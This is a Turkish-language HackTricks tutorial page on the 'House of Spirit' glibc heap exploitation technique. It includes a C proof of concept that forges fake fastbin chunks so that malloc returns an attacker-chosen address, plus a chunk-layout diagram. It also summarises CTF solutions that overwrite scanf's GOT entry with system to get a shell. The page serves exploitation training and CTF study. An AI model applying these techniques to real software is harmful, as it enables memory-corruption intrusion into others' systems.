hacktricks/binary-exploitation/libc-heap/house-of-spirit.md

140 lines
7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ruh Evi
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
### Kod
<details>
<summary>Ruh Evi</summary>
```c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
return 0;
}
```
</details>
### Hedef
* Bir adresi tcache / hızlı bin'e ekleyebilmek ve daha sonra onu tahsis edebilmek
### Gereksinimler
* Bu saldırı, bir saldırganın doğru şekilde boyut değerini gösteren birkaç sahte hızlı parça oluşturabilmesini ve ardından ilk sahte parçayı serbest bırakarak onun bin içine girmesini sağlayabilmesini gerektirir.
### Saldırı
* Güvenlik kontrollerini atlatan sahte parçalar oluşturun: Temelde doğru pozisyonlarda doğru boyutları gösteren 2 sahte parçaya ihtiyacınız olacak
* İlk sahte parçayı serbest bırakacak şekilde bir şekilde yönetin, böylece hızlı veya tcache bin'e girer ve ardından o adresi üzerine yazacak şekilde tahsis edilir
**[**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html)**'dan kod, saldırıyı anlamak için harika.** Bununla birlikte, kodun bu şeması oldukça iyi özetliyor:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
```
{% hint style="info" %}
Not: Bazı sağlamlık kontrollerini atlatmak için ikinci parçayı oluşturmak gereklidir.
{% endhint %}
## Örnekler
* **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
* **Libc bilgi sızıntısı**: Taşma yoluyla bir işaretçiyi GOT adresine yönlendirerek, CTF'nin okuma işlemi aracılığıyla bir libc adresi sızdırmak mümkündür.
* **House of Spirit**: "Tüfeklerin" sayısını sayan bir sayaçıyı istismar ederek, ilk sahte parça için sahte bir boyut oluşturmak mümkündür, ardından bir "mesajı" istismar ederek, bir parçanın ikinci boyutunu sahteleştirmek mümkündür ve son olarak bir taşma istismar edilerek, serbest bırakılacak bir işaretçiyi değiştirmek mümkündür, böylece ilk sahte parçamız serbest bırakılır. Daha sonra bunu tahsis edebilir ve içinde "mesaj"ın depolandığı adres olacaktır. Ardından, bunu GOT tablosundaki `scanf` girişine işaret etmesi mümkün olacak şekilde yapabiliriz, böylece onu sistem adresiyle üzerine yazabiliriz.\
Bir sonraki `scanf` çağrıldığında, girişi `"/bin/sh"` olarak gönderebilir ve bir kabuk alabiliriz.
* [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
* **Glibc sızıntısı**: Başlatılmamış yığın tamponu.
* **House of Spirit**: Bir küresel yığın işaretçiler dizisinin ilk indeksini değiştirebiliriz. Bir tek bayt değişikliği ile geçerli bir parçanın içinde sahte bir parçada `free` kullanarak, tekrar tahsis edildikten sonra örtüşen parçalar durumu elde ederiz. Böylece, basit bir Tcache zehirlenme saldırısı, keyfi yazma yetkisi elde etmek için çalışır.
## Referanslar
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}